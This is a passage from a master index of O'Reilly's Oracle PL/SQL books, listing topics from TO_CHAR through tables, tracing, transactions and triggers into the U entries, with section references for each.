6.4. PL/SQL Tools, Oracle Web Applications
6.4.1. TOAD, Oracle Web Applications
TOO_MANY_ROWS exception: 8.3.1. Named System Exceptions , Oracle PL/SQL Programming
TO_CHAR function
2.8. Overloading for Smart Packages, Advanced Oracle PL/SQL Programming with Packages
14.2.6. The TO_CHAR function (date conversion), Oracle PL/SQL Programming
and date ranges: 14.3.4. Using TO_CHAR to Create a Date Range, Oracle PL/SQL Programming
TO_DATE function: 14.2.8. The TO_DATE function, Oracle PL/SQL Programming
and FX modifier: 14.3.2. FX: Matching Formats Exactly, Oracle PL/SQL Programming
TO_LOB function: 7. New and Enhanced Built-in Packages in Oracle8i, Guide to Oracle8i Features
TO_NUMBER function
14.2.9. The TO_NUMBER function, Oracle PL/SQL Programming
25.4.2. Zen and the Art of PL/SQL Tuning, Oracle PL/SQL Programming
TRANSACTION procedure (DBMS_DEFER)
17.3.1.1. DBMS_DEFER programs, Oracle Built-in Packages
17.3.2.1. The DBMS_DEFER.TRANSACTION procedure, Oracle Built-in Packages
TRANSACTIONS parameter: 2.4. Rules and Restrictions, Guide to Oracle8i Features
TRANSACTION_BACKED_OUT exception: 8.3.1. Named System Exceptions , Oracle PL/SQL Programming
TRANSLATE function
9.2.3.15. The UTL_RAW.TRANSLATE function, Oracle Built-in Packages
11.1.15. The TRANSLATE function, Oracle PL/SQL Programming
11.2.5. Verifying String Formats with TRANSLATE, Oracle PL/SQL Programming
25.4.2. Zen and the Art of PL/SQL Tuning, Oracle PL/SQL Programming
TRANSLITERATE function: 9.2.3.16. The UTL_RAW.TRANSLITERATE function, Oracle Built-in Packages
TRIM FUNCTION: 10.3.1. The TRIM Function, Guide to Oracle8i Features
TRIM procedure
8.1.1. DBMS_LOB Programs, Oracle Built-in Packages
8.3.3.4. The DBMS_LOB.TRIM procedure, Oracle Built-in Packages
C.6.15. The TRIM procedure, Oracle PL/SQL Programming
19.6.8. TRIM [ (n ) ], Oracle PL/SQL Programming
removing collection elements with: 19.4.3.3. ...And what about TRIM?, Oracle PL/SQL Programming
TRUE: (see Boolean literals)
TRUNC function
12.1.6. The ROUND function, Oracle PL/SQL Programming
12.1.8. The TRUNC function, Oracle PL/SQL Programming
13.1.22. The TRUNC function, Oracle PL/SQL Programming
TRUST option: 10.2.2.1. The TRUST option, Guide to Oracle8i Features
TXT format: 2.1. Resources, Oracle Web Applications
TYPE ... RECORD statement: 9.4.1. Declaring Programmer-Defined Record TYPEs, Oracle PL/SQL Programming
TYPE declarations, in packages: 16.3. The Package Specification, Oracle PL/SQL Programming
TYPE statement: 9.4.1. Declaring Programmer-Defined Record TYPEs, Oracle PL/SQL Programming
for tables: 10.4.1. Defining the Table TYPE, Oracle PL/SQL Programming
TYPE structures: 2.9.2. Lava Lamp Code Consolidation, Advanced Oracle PL/SQL Programming with Packages
TYPES
FILE_TYPE: 13.1.2. File Handles, Advanced Oracle PL/SQL Programming with Packages
repos_rectype: 12.2.2. Database Source or Target, Advanced Oracle PL/SQL Programming with Packages
string_repostype: 12.2.1. String Source or Target, Advanced Oracle PL/SQL Programming with Packages
Text cartridge, interMedia: 1.3.9. Oracle interMedia, Oracle Web Applications
Transact-SQL: 1.2. And Then There's Java, Guide to Oracle8i Features
Trusted Oracle: About the Contents, Oracle PL/SQL Programming
Trusted Oracle, job execution and: 13.2.2. Job Execution and the Job Execution Environment, Oracle Built-in Packages
tabCount program, ndsutil.pkg file: 4.7. NDS Utility Package, Guide to Oracle8i Features
tabexists function: 5.9.7. Miscellaneous programs, Advanced Oracle PL/SQL Programming with Packages
table locks: 6.1.5. The LOCK TABLE Statement, Oracle PL/SQL Programming
COMMIT statements and: 6.1.1. The COMMIT Statement, Oracle PL/SQL Programming
table privileges: 1.3.2. Invoker Rights (Chapter 3, Invoker Rights: Your Schema or Mine? ), Guide to Oracle8i Features
table wizard, WebDB: 3.1.2.1. Building database objects, Oracle Web Applications
table-based records: 9.2. Table-Based Records, Oracle PL/SQL Programming
tables
(see also arrays; variables, collections)
5.25. PLVtab: Table Interface, Advanced Oracle PL/SQL Programming with Packages
8. PLVtab: Easy Access to PL/SQL Tables, Advanced Oracle PL/SQL Programming with Packages
1.4.3.4. PL/SQL tables , Oracle PL/SQL Programming
4. Variables and Program Data, Oracle PL/SQL Programming
10. PL/SQL Tables, Oracle PL/SQL Programming
19.1. Types of Collections, Oracle PL/SQL Programming
AQ and: 5.1.1. General Features, Oracle Built-in Packages
DML operations: 19.5. DML Operations, Advanced Oracle PL/SQL Programming with Packages
PL/SQL: (see index-by tables)
PLVcat database: 18.2.2. The PLVcat Database Tables, Advanced Oracle PL/SQL Programming with Packages
Release 2.3 enhancements to: 10.8. PL/SQL Table Enhancements in PL/SQL Release 2.3, Oracle PL/SQL Programming
VARRAYs: (see VARRAYs)
abbreviations for: 3.2. Formatting SQL Statements, Oracle PL/SQL Programming
aliases for: 3.2. Formatting SQL Statements, Oracle PL/SQL Programming
analyzing: 13.4.1. Tracking Space in Tablespaces, Oracle Built-in Packages
and DML statements: 10.3. PL/SQL Tables and DML Statements, Oracle PL/SQL Programming
as parameters: 10.5.4. Passing PL/SQL Tables as Parameters, Oracle PL/SQL Programming
building arrays with: 10.9.4. Building Traditional Arrays with PL/SQL Tables, Oracle PL/SQL Programming
clearing (deleting): 10.7. Clearing the PL/SQL Table, Oracle PL/SQL Programming
code repository: 12.2.3. PL/SQL Table Target, Advanced Oracle PL/SQL Programming with Packages
combining scalars and aggregates: 17.8.2. Combining Scalar and Aggregate Values, Oracle PL/SQL Programming
copying file to/from: 5.11.11. Copying a file, Advanced Oracle PL/SQL Programming with Packages
copying files to/from: 13.7.2. Copying File to PL/SQL Table, Advanced Oracle PL/SQL Programming with Packages
declaring: 10.4. Declaring a PL/SQL Table, Oracle PL/SQL Programming
displaying: 10.9.3. Displaying a PL/SQL Table, Oracle PL/SQL Programming
displaying contents of (example): 2.5.4. Displaying Table Contents with Method 4 Dynamic SQL, Oracle Built-in Packages
displaying contents with PLVdyn: 19.5.7. Displaying a Table, Advanced Oracle PL/SQL Programming with Packages
filling rows of: 10.6. Filling the Rows of a PL/SQL Table, Oracle PL/SQL Programming
index-by: (see index-by tables)
inner tables: 19.1. Types of Collections, Oracle PL/SQL Programming
load_from_dbms procedure: 9.6. Implementing load_ from_dbms, Advanced Oracle PL/SQL Programming with Packages
log
21.1.3.1. Defining the database log table, Advanced Oracle PL/SQL Programming with Packages
22.3.2.2. Drawbacks of the usual handlers, Advanced Oracle PL/SQL Programming with Packages
memory use and: 11.1.4.2. The DBMS_SESSION.FREE_UNUSED_USER_MEMORY procedure, Oracle Built-in Packages
names for: 1.7.5. Structured Code and Other Best Practices, Oracle PL/SQL Programming
nested
(see nested tables)
1.4.7.3. Variable arrays and nested tables
objects for: 18.1.2. Some Simple Examples, Oracle PL/SQL Programming
optimizing foreign key lookups: 10.9.5. Optimizing Foreign Key Lookups with PL/SQL Tables, Oracle PL/SQL Programming
outer tables: 19.1. Types of Collections, Oracle PL/SQL Programming
partitioned, ROWID datatype for: 4.2.3.6. The ROWID datatype, Oracle PL/SQL Programming
populating with objects: 11.6. Populating a PL/SQL Table with Object Names, Advanced Oracle PL/SQL Programming with Packages
records in: 10.8. PL/SQL Table Enhancements in PL/SQL Release 2.3, Oracle PL/SQL Programming
referenceability: 10.3.4. Setting Referenceability of Tables, Oracle Built-in Packages
referencing rows: 10.5. Referencing and Modifying PL/SQL Table Rows, Oracle PL/SQL Programming
reorganizing: 14.1.5. Reorganizing Tables, Oracle Built-in Packages
replacing (example): 10.3.4.1. The DBMS_DDL. (Oracle8 only), Oracle Built-in Packages
replicated tables
comparing: 15.5.2.1. The DBMS_RECTIFIER.DIFFERENCES procedure, Oracle Built-in Packages
dropping and replication triggers: 15.3.3.3. The DBMS_REPCAT.DROP_MASTER_REPOBJECT procedure, Oracle Built-in Packages
instantiation versus rectifying: 15.5.2.2. The DBMS_RECTIFIER_DIFF.RECTIFY procedure, Oracle Built-in Packages
rectifying: 15.5.2.2. The DBMS_RECTIFIER_DIFF.RECTIFY procedure, Oracle Built-in Packages
returned from functions: 10.8.1.1. Referencing fields of record elements in PL/SQL tables, Oracle PL/SQL Programming
row index
data-smart: 10.9.2. Data-Smart Row Numbers in PL/SQL Tables, Oracle PL/SQL Programming
negative: 10.2. Characteristics of PL/SQL Tables, Oracle PL/SQL Programming
row prefix: 5.25.6. Setting the row prefix, Advanced Oracle PL/SQL Programming with Packages
row value prefix: 8.5. Setting the Display Prefix, Advanced Oracle PL/SQL Programming with Packages
space utilization: 12.1. DBMS_SPACE: Obtaining Space Information, Oracle Built-in Packages
store tables: 19.1. Types of Collections, Oracle PL/SQL Programming
table objects
retrieving: 18.4.2.3. VALUE, Oracle PL/SQL Programming
token: (see token table)
virtual: 6.2. Cursors in PL/SQL, Oracle PL/SQL Programming
tabpkg package
(see also specific program names)
6.2.7.1. Enhancing UTL_FILE.GET_LINE, Oracle Built-in Packages
tabref.sql : 10.3.4.1. The DBMS_DDL. (Oracle8 only), Oracle Built-in Packages
tabs: (see whitespace)
tags, HTML: 5.2. A Whirlwind Tour, Oracle Web Applications
anchor
5.2. A Whirlwind Tour, Oracle Web Applications
5.2.4. Anchor Tags, Oracle Web Applications
content flow
5.2. A Whirlwind Tour, Oracle Web Applications
5.2.3. Content Flow Tags, Oracle Web Applications
form
5.2. A Whirlwind Tour, Oracle Web Applications
5.2.7. Form Tags, Oracle Web Applications
list
5.2. A Whirlwind Tour, Oracle Web Applications
5.2.5. List Tags, Oracle Web Applications
structural
5.2. A Whirlwind Tour, Oracle Web Applications
5.2.1. Structural Tags, Oracle Web Applications
table
5.2. A Whirlwind Tour, Oracle Web Applications
5.2.6. Table Tags, Oracle Web Applications
text formatting
5.2. A Whirlwind Tour, Oracle Web Applications
5.2.2. Text Formatting Tags, Oracle Web Applications
target labels: 5.2.1.2. Target labels and scope of GOTO, Oracle PL/SQL Programming
target repository
5.15.3. Source and target repository type functions, Advanced Oracle PL/SQL Programming with Packages
5.15.6. Managing the target repository, Advanced Oracle PL/SQL Programming with Packages
12.5. Managing the Target Repository, Advanced Oracle PL/SQL Programming with Packages
12.7. Writing to the Target, Advanced Oracle PL/SQL Programming with Packages
12.9.2. Closing the Target, Advanced Oracle PL/SQL Programming with Packages
target_row variable: 12.2.3. PL/SQL Table Target, Advanced Oracle PL/SQL Programming with Packages
tbl procedure: 5.8.3. Dumping the DDL, Advanced Oracle PL/SQL Programming with Packages
template
function
3.6. Building a Structured Function, Advanced Oracle PL/SQL Programming with Packages
16.2.3. Generating a Function, Advanced Oracle PL/SQL Programming with Packages
template, package: 2.2. Using Effective Coding Style for Packages, Advanced Oracle PL/SQL Programming with Packages
temporary LOBs: 7.5.2. DBMS_LOB: Working with Temporary LOBs, Guide to Oracle8i Features
terminate procedure
5.28.6. Tracing PL/SQL code execution, Advanced Oracle PL/SQL Programming with Packages
21.2.4.2. terminate, Advanced Oracle PL/SQL Programming with Packages
22.1.6.5. Integrating PLVexc with PLVtrc , Advanced Oracle PL/SQL Programming with Packages
terminate_and_handle procedure
9.5.1. Using PLVmsg in PL/Vision , Advanced Oracle PL/SQL Programming with Packages
22.3.4.2. Implementing the high-level handlers, Advanced Oracle PL/SQL Programming with Packages
terminating loops prematurely: 7.7.2. The Proper Way to Say Goodbye, Oracle PL/SQL Programming
territory (NLS), setting: 11.1.2.3. The DBMS_SESSION.SET_NLS procedure, Oracle Built-in Packages
test subdirectory
4.3.3. Beginning the Installation, Advanced Oracle PL/SQL Programming with Packages
4.6.2. Contents of the test Subdirectory, Advanced Oracle PL/SQL Programming with Packages
testing: (see debugging; tracing; troubleshooting)
code: 24.2.5. Change and Test One Area of Code at a Time, Oracle PL/SQL Programming
existence: (see existence checking)
object equality: 18.3.6.2. Equality comparisons, Oracle PL/SQL Programming
plsql_string procedure: 10.3.2.2. Script to test plsql_string, Advanced Oracle PL/SQL Programming with Packages
strings: 5.16. PLVlex: Lexical Analysis, Advanced Oracle PL/SQL Programming with Packages
testing code
scripts for: 4.6.2. Contents of the test Subdirectory, Advanced Oracle PL/SQL Programming with Packages
testing programs
2.6.3.1. The test/debug cycle in PL/SQL, Advanced Oracle PL/SQL Programming with Packages
2.5.2. Multiline Comment Syntax, Oracle PL/SQL Programming
text
case of: (see capitalization)
datatypes: 4.2.3. Character Datatypes, Oracle PL/SQL Programming
debugging messages in packages: 24.2.9. Build Debugging Messages into Your Packages, Oracle PL/SQL Programming
help
(see
(see documentation, online help)
(see online help)
justifying: 11.2.3. Filling Text to Fit a Line, Oracle PL/SQL Programming
messages: (see messages)
word wrap: 11.2.2. Implementing Word Wrap for Long Text, Oracle PL/SQL Programming
wrapping
5.21.2. Wrapping long strings into paragraphs , Advanced Oracle PL/SQL Programming with Packages
8.2.1. Displaying Wrapped Text, Advanced Oracle PL/SQL Programming with Packages
10.1.4. Wrapping Strings into Paragraphs, Advanced Oracle PL/SQL Programming with Packages
text function
5.19.2. Managing and accessing message text, Advanced Oracle PL/SQL Programming with Packages
9. PLVmsg: Single-Sourcing PL/SQL Message Text, Advanced Oracle PL/SQL Programming with Packages
9.3. Retrieving Message Text, Advanced Oracle PL/SQL Programming with Packages
9.5.1. Using PLVmsg in PL/Vision , Advanced Oracle PL/SQL Programming with Packages
text item, WebDB dashboard: 3.1.3.1. User-uploaded content, Oracle Web Applications
text processing: 7.2. Text Processing, Oracle Web Applications
text, searching and replacing: 7.2.2. OWA_PATTERN: Searching and Replacing Text, Oracle Web Applications
time
(see also date)
(see date and time)
C.16.6. The GET_TIME function, Oracle PL/SQL Programming
12.1.1. The ADD_MONTHS function, Oracle PL/SQL Programming
12.1.4. The NEW_TIME function, Oracle PL/SQL Programming
system: 12.1.7. The SYSDATE function, Oracle PL/SQL Programming
zones
12.1.4. The NEW_TIME function, Oracle PL/SQL Programming
12.2.2. Using NEW_TIME in Client-Server Environments, Oracle PL/SQL Programming
time zone, retrieving (example): 21.7.1. Example: Retrieving the Time Zone, Oracle PL/SQL Programming
time, elapsed time: 10.1.2.14. The DBMS_UTILITY.GET_TIME function, Oracle Built-in Packages
time, execution: (see performance)
time_plsql procedure: 5.9.7. Miscellaneous programs, Advanced Oracle PL/SQL Programming with Packages
timeouts
3.1.5.1. The DBMS_PIPE.SEND_MESSAGE function, Oracle Built-in Packages
3.1.5.2. The DBMS_PIPE.RECEIVE_MESSAGE function, Oracle Built-in Packages
3.1.6.4. Paying attention to timeouts, Oracle Built-in Packages
timer: 14. PLVtmr: Analyzing Program Performance, Advanced Oracle PL/SQL Programming with Packages
generating: 16.2.9. Generating a Timer Script, Advanced Oracle PL/SQL Programming with Packages
standardizing: 14.3.3. Setting the Timing Factor, Advanced Oracle PL/SQL Programming with Packages
timer procedure
5.13.10. Miscellaneous code generators, Advanced Oracle PL/SQL Programming with Packages
16.2.9. Generating a Timer Script, Advanced Oracle PL/SQL Programming with Packages
timing information, PL/SQL profiler: 7.2. DBMS_TRACE: Providing a PL/SQL Trace Facility, Guide to Oracle8i Features
to_dbtab procedure
5.17.3. Selecting the log type, Advanced Oracle PL/SQL Programming with Packages
21.1.3. Selecting the Log Type, Advanced Oracle PL/SQL Programming with Packages
to_file procedure
5.17.3. Selecting the log type, Advanced Oracle PL/SQL Programming with Packages
21.1.3. Selecting the Log Type, Advanced Oracle PL/SQL Programming with Packages
to_pstab procedure
5.17.3. Selecting the log type, Advanced Oracle PL/SQL Programming with Packages
21.1.3. Selecting the Log Type, Advanced Oracle PL/SQL Programming with Packages
to_stdout procedure
5.17.3. Selecting the log type, Advanced Oracle PL/SQL Programming with Packages
21.1.3. Selecting the Log Type, Advanced Oracle PL/SQL Programming with Packages
toggle procedure: 16.2.4.2. Generating a toggle, Advanced Oracle PL/SQL Programming with Packages
toggles: 2.6.1. Toggling Package Behavior, Advanced Oracle PL/SQL Programming with Packages
PLVgen package
16.3. Modifying PLVgen Behavior, Advanced Oracle PL/SQL Programming with Packages
16.4.5. Applying the Toggles, Advanced Oracle PL/SQL Programming with Packages
commits processing: 20.1.4. Controlling Commit Processing, Advanced Oracle PL/SQL Programming with Packages
dynamic SQL extension: 19.5.8. Controlling Execution of Dynamic SQL, Advanced Oracle PL/SQL Programming with Packages
error message restriction: 9.4. The Restriction Toggle, Advanced Oracle PL/SQL Programming with Packages
exception recording: 22.1.7.3. Using the record toggles, Advanced Oracle PL/SQL Programming with Packages
for generated code: 5.13.4. Toggles affecting generated code, Advanced Oracle PL/SQL Programming with Packages
generating: 16.2.4.2. Generating a toggle, Advanced Oracle PL/SQL Programming with Packages
in packages: 1.7.3. Center All Development Around Packages, Oracle PL/SQL Programming
logging: 21.1.1. Controlling the Log Action, Advanced Oracle PL/SQL Programming with Packages
parsing token types: 10.3.1. Selecting Token Types for Parsing, Advanced Oracle PL/SQL Programming with Packages
program header: 16.3.3. Using the Program Header, Advanced Oracle PL/SQL Programming with Packages
rollback processing: 20.2.1. Controlling Rollbacks, Advanced Oracle PL/SQL Programming with Packages
rollbacks: 21.1.5.1. Toggling rollback activity, Advanced Oracle PL/SQL Programming with Packages
setting groups of: 16.3.10. Setting Groups of Toggles, Advanced Oracle PL/SQL Programming with Packages
table format
5.25.3. Toggle for showing header, Advanced Oracle PL/SQL Programming with Packages
8.3. Showing Header Toggle, Advanced Oracle PL/SQL Programming with Packages
timer: 14.1. Toggling the Timer, Advanced Oracle PL/SQL Programming with Packages
tracing: 21.2.1. Directing Output from PLVtrc, Advanced Oracle PL/SQL Programming with Packages
windows: 2.7. Building Windows Into Your Packages, Advanced Oracle PL/SQL Programming with Packages
toggling bits: 9.2.3.4. The UTL_RAW.BIT_XOR function, Oracle Built-in Packages
token function
5.4.2. Case-converting programs, Advanced Oracle PL/SQL Programming with Packages
18.1.1.1. Converting a single token, Advanced Oracle PL/SQL Programming with Packages
token table
10.2.1. Keeping Track of PL/SQL Keywords, Advanced Oracle PL/SQL Programming with Packages
10.3.3. Initializing a Table of Tokens, Advanced Oracle PL/SQL Programming with Packages
tokens
(see parsing)
(see reserved words)
tools, PL/SQL: 6.4. PL/SQL Tools, Oracle Web Applications
top-down code design: 1.3.3. Top-Down Design, Advanced Oracle PL/SQL Programming with Packages
total_blocks function: 12.1.3.1. The segspace package, Oracle Built-in Packages
trace: (see windows, interface)
trace event levels: (see tracing, event levels)
trace package
(see also specific program names)
1.3.5.1. Examples of encapsulation packages, Oracle Built-in Packages
11.2.3. DBMS_SYSTEM Examples, Oracle Built-in Packages
trace.sql : 11.2.3. DBMS_SYSTEM Examples, Oracle Built-in Packages
tracing
(see also debugging; troubleshooting)
5.28. PLVtrc: Trace Facility, Advanced Oracle PL/SQL Programming with Packages
16.3.4. Using the Program Trace , Advanced Oracle PL/SQL Programming with Packages
21.2. PLVtrc: Tracing Execution of PL/SQL Programs, Advanced Oracle PL/SQL Programming with Packages
11.1.4.5. The DBMS_SESSION.SET_SQL_TRACE procedure, Oracle Built-in Packages
11.2. DBMS_System: Setting Events for Debugging, Oracle Built-in Packages
PLVdyn activity: 5.9.1. Tracing PLVdyn activity, Advanced Oracle PL/SQL Programming with Packages
PLVfile activity
5.11.2. Trace PLVfile activity, Advanced Oracle PL/SQL Programming with Packages
13.10. Tracing PLVfile Activity, Advanced Oracle PL/SQL Programming with Packages
PLVobj activity
5.20.1. Tracing PLVobj activity, Advanced Oracle PL/SQL Programming with Packages
11.8. Tracing PLVobj Activity, Advanced Oracle PL/SQL Programming with Packages
SQL statements with packaged functions: 1.3.7.2. Using a packaged procedure from within SQL, Oracle Built-in Packages
dynamic SQL: 19.5.9. Tracing Use of Dynamic SQL, Advanced Oracle PL/SQL Programming with Packages
enabling/disabling in another session: 11.2.2.3. The DBMS_SYSTEM.SET_SQL_TRACE_IN_SESSION procedure, Oracle Built-in Packages
enabling/disabling in same session: 11.1.4.5. The DBMS_SESSION.SET_SQL_TRACE procedure, Oracle Built-in Packages
encapsulating DBMS_SYSTEM: 11.2.3. DBMS_SYSTEM Examples, Oracle Built-in Packages
enhancement: 11.1.5.6. The set_sql_trace procedure, Oracle Built-in Packages
event levels
reading: 11.2.2.1. The DBMS_SYSTEM.READ_EV procedure, Oracle Built-in Packages
setting: 11.2.2.2. The DBMS_SYSTEM.SET_EV procedure, Oracle Built-in Packages
reasons for using: 7.3.8. Session Monitoring and Three-Tier Architectures, Oracle Built-in Packages
stack activity: 5.24.5. Tracing Stack Activity, Advanced Oracle PL/SQL Programming with Packages
variable reads and writes: 2.10.2. Tracing Variable Reads and Writes, Advanced Oracle PL/SQL Programming with Packages
tracing PL/SQL execution: 26. Tracing PL/SQL Execution, Oracle PL/SQL Programming
tracing PLVio activity: 5.15.10. Tracing PLVio activity, Advanced Oracle PL/SQL Programming with Packages
tracing function: 21.2.1. Directing Output from PLVtrc, Advanced Oracle PL/SQL Programming with Packages
tracking database logins: 6.2.1.2. Tracking logins to the database, Guide to Oracle8i Features
traditional filesystems: 1.3. Oracle's Solution -- Oracle8i, Oracle Web Applications
traditional relational data: 1.1. The Internet Grows Up, Oracle Web Applications
transaction integrity
1.3.5. Guaranteeing Transaction Integrity, Advanced Oracle PL/SQL Programming with Packages
21.1.5. Rolling Back with PLVlog, Advanced Oracle PL/SQL Programming with Packages
1.3.2. Improved Execution Authority and Transaction Integrity with PL/SQL, Oracle PL/SQL Programming
23.2. Transaction Integrity and Execute Authority, Oracle PL/SQL Programming
transaction processing
(see also commits; rollbacks)
20. PLVcmt and PLVrb: Commit and Rollback Processing , Advanced Oracle PL/SQL Programming with Packages
transaction statements, programmatic interface to: 4.2. DBMS_TRANSACTION: Interfacing to SQL Transaction Statements, Oracle Built-in Packages
transactions
(see also deferred transactions)
7.2.3. The DBMS_APPLICATION_INFO.SET_ACTION procedure, Oracle Built-in Packages
6.1. Transaction Management, Oracle PL/SQL Programming
DBMS_TRANSACTION package for: C.15. DBMS_TRANSACTION, Oracle PL/SQL Programming
LOBs and: 8.2.1.1. Internal and external LOBs, Oracle Built-in Packages
action names: (see action names)
alerts and
3.2.2.5. The DBMS_ALERT.SIGNAL procedure, Oracle Built-in Packages
3.2.3. DBMS_ALERT Examples, Oracle Built-in Packages
characteristics of: 4.2.5. Setting Transaction Characteristics, Oracle Built-in Packages
cleaning up: 4.2.6. Cleaning Up Transaction Details, Oracle Built-in Packages
comments with: 6.1.1. The COMMIT Statement, Oracle PL/SQL Programming
commitment: 4.2.3. Committing Data, Oracle Built-in Packages
concentrating via DBMS_PIPE: 3.1.7.4. Implementing a server program, Oracle Built-in Packages
current transaction: 7.2.3. The DBMS_APPLICATION_INFO.SET_ACTION procedure, Oracle Built-in Packages
dequeuing and
5.1.3. Dequeue Features, Oracle Built-in Packages
5.3.8. Dequeue Options Record Type, Oracle Built-in Packages
discrete transactions: 4.2.5.3. The DBMS_TRANSACTION.BEGIN_DISCRETE_TRANSACTION procedure, Oracle Built-in Packages
enqueuing and
5.1.3. Dequeue Features, Oracle Built-in Packages
5.3.7. Enqueue Options Record Type, Oracle Built-in Packages
identifiers for: 4.2.7.1. The DBMS_TRANSACTION.LOCAL_TRANSACTION_ID function, Oracle Built-in Packages
in-doubt transactions: (see in-doubt transactions)
intersession communication and: 3.1. DBMS_PIPE: Communicating Between Sessions , Oracle Built-in Packages
lock persistence and: 4.1.2.2. The DBMS_LOCK.REQUEST function, Oracle Built-in Packages
pipes and: 3.1.2.2. Nontransactional communications, Oracle Built-in Packages
read-only
4.2.5.1. The DBMS_TRANSACTION.READ_ONLY procedure, Oracle Built-in Packages
6.1.4. The SET TRANSACTION Statement, Oracle PL/SQL Programming
read-write: 4.2.5.2. The DBMS_TRANSACTION.READ_WRITE procedure, Oracle Built-in Packages
recovery: 4.2.6.2. The DBMS_TRANSACTION.PURGE_LOST_DB_ENTRY procedure, Oracle Built-in Packages
rollback: 4.2.4. Rolling Back Changes, Oracle Built-in Packages
short transactions: 4.2.5.3. The DBMS_TRANSACTION.BEGIN_DISCRETE_TRANSACTION procedure, Oracle Built-in Packages
step id: 4.2.7.2. The DBMS_TRANSACTION.STEP_ID function, Oracle Built-in Packages
transfering data: (see copying)
transid.sql : 4.2.7.2. The DBMS_TRANSACTION.STEP_ID function, Oracle Built-in Packages
trapping errors: (see exceptions)
trapping exceptions: (see exceptions)
trapping system errors: 6.2.1.3. Trapping system errors, Guide to Oracle8i Features
trgstg function: 5.15.6. Managing the target repository, Advanced Oracle PL/SQL Programming with Packages
trig procedure: 5.8.3. Dumping the DDL, Advanced Oracle PL/SQL Programming with Packages
trigger wizard, WebDB: 3.1.2.1. Building database objects, Oracle Web Applications
trigger_name, trigger syntax: 6.3. Schema-Level Event Triggers, Guide to Oracle8i Features
triggers
1.3.5. New Trigger Capabilities (Chapter 6, New Trigger Features in Oracle8i), Guide to Oracle8i Features
6. New Trigger Features in Oracle8i, Guide to Oracle8i Features
National Language Support parameters and: 11.1.2.3. The DBMS_SESSION.SET_NLS procedure, Oracle Built-in Packages
alert signaling and: 3.2. DBMS_ALERT: Broadcasting Alerts to Users, Oracle Built-in Packages
allocating locks and: 4.1.2.1. The DBMS_LOCK.ALLOCATE_UNIQUE procedure, Oracle Built-in Packages
checking for specific errors: 6.2.1.4. Checking for specific errors, Guide to Oracle8i Features
creating: 6.2.1.3. Trapping system errors, Guide to Oracle8i Features
database-level event triggers: 6.2. Database-Level Event Triggers, Guide to Oracle8i Features
dropping: 20.3.2. DROP: Dropping Views and Triggers, Oracle PL/SQL Programming
named locks and: 4.1.3.4. ALLOCATE_UNIQUE drawbacks, Oracle Built-in Packages
nested table view columns: 6.1. Triggers on Nested Table View Columns, Guide to Oracle8i Features
overview: 6. New Trigger Features in Oracle8i, Guide to Oracle8i Features
pinning packages on database startup: 6.2.1.1. Pinning packages on database startup, Guide to Oracle8i Features
replication triggers: (see replication triggers)
roles and: 11.1.2.4. The DBMS_SESSION.SET_ROLE procedure, Oracle Built-in Packages
rollbacks in: 1.3.1. Autonomous Transactions (Chapter 2, Choose Your Transaction!), Guide to Oracle8i Features
size of: 25.3.7. Keep Database Triggers Small, Oracle PL/SQL Programming
tracking database logins: 6.2.1.2. Tracking logins to the database, Guide to Oracle8i Features
trapping system errors: 6.2.1.3. Trapping system errors, Guide to Oracle8i Features
trigonometric functions: (see functions, numeric)
troubleshooting
(see also debugging; tracing)
2.3.10.3. The DBMS_SQL.LAST_ROW_ID function, Oracle Built-in Packages
EXECUTE_AND_FETCH: 2.3.8. Retrieving Values , Oracle Built-in Packages
dynamic SQL: 2.4.6. Problem-Solving Dynamic SQL Errors, Oracle Built-in Packages
truncate procedure
5.9.4. Data Definition Language operations, Advanced Oracle PL/SQL Programming with Packages
19.4.1.2. Dropping and truncating objects with PLVdyn, Advanced Oracle PL/SQL Programming with Packages
truncating dates: 12.1.8. The TRUNC function, Oracle PL/SQL Programming
truncating numbers: 13.1.22. The TRUNC function, Oracle PL/SQL Programming
tuning PL/SQL applications: 25. Tuning PL/SQL Applications, Oracle PL/SQL Programming
access to compiled code: 25.2. Tuning Access to Compiled Code, Oracle PL/SQL Programming
access to data: 25.3. Tuning Access to Your Data, Oracle PL/SQL Programming
analyzing performance: 25.1. Analyzing Program Performance, Oracle PL/SQL Programming
optimizing algorithms: 25.4. Tuning Your Algorithms, Oracle PL/SQL Programming
two-phase commit: (see distributed databases; in-doubt transactions)
type modifiers: 18.2.3. Adding Complex Data Structures, Oracle PL/SQL Programming
REFs as: 18.4.2.2. REFs, Oracle PL/SQL Programming
type wizard, WebDB: 3.1.2.1. Building database objects, Oracle Web Applications
types: 6.5. The Predefined Datatypes, Advanced Oracle PL/SQL Programming with Packages
PL/SQL tokens: 10.2.1. Keeping Track of PL/SQL Keywords, Advanced Oracle PL/SQL Programming with Packages
log: 21.1.3. Selecting the Log Type, Advanced Oracle PL/SQL Programming with Packages
passable to p.l: 7.1.1. Valid Data Combinations for p.l, Advanced Oracle PL/SQL Programming with Packages
table
5.25.1. Predefined table TYPEs, Advanced Oracle PL/SQL Programming with Packages
8.1. Using PLVtab-Based PL/SQL Table Types, Advanced Oracle PL/SQL Programming with Packages
types, data: (see datatypes)
typing: (see datatypes)

Symbols | A | B | C | D | E | F | G | H | I | J | K | L | M | N | O | P | Q | R | S | T | U | V | W | X | Y | Z

Copyright © 2000 O'Reilly & Associates, Inc. All rights reserved.


Master Index: U

Index: U

UI templates library, WebDB: 3.1.2.3. Building shared components, Oracle Web Applications
UID function: 13.3.7. The UID function, Oracle PL/SQL Programming
UML (Unified Modeling Lanuage): 18.1.4.3. Inheritance , Oracle PL/SQL Programming
UNIQUE_SESSION_ID function
11.1.1.1. DBMS_SESSION programs , Oracle Built-in Packages
11.1.3.2. The DBMS_SESSION.UNIQUE_SESSION_ID function, Oracle Built-in Packages
C.12.9. The UNIQUE_SESSION_ID function, Oracle PL/SQL Programming
UNIQUE_SESSION_NAME function
3.1.1.1. DBMS_PIPE programs, Oracle Built-in Packages
3.1.3.5. The DBMS_PIPE.UNIQUE_SESSION_NAME function, Oracle Built-in Packages
C.10.9. The UNIQUE_SESSION_NAME function, Oracle PL/SQL Programming
UNIQUE_SESSION_ID versus: 11.1.3.2. The DBMS_SESSION.UNIQUE_SESSION_ID function, Oracle Built-in Packages
UNIX delimiter
5.11.1. Package constants and exceptions, Advanced Oracle PL/SQL Programming with Packages
13.2.1. Setting the Operating System Delimiter, Advanced Oracle PL/SQL Programming with Packages
UNKEEP procedure
12.2.1. Getting Started with DBMS_SHARED_POOL, Oracle Built-in Packages
12.2.2.2. The DBMS_SHARED_POOL.UNKEEP procedure, Oracle Built-in Packages
UNKEEP program: 1.4.3.1. Managing packages in shared memory, Advanced Oracle PL/SQL Programming with Packages
UNPACK_MESSAGE procedure
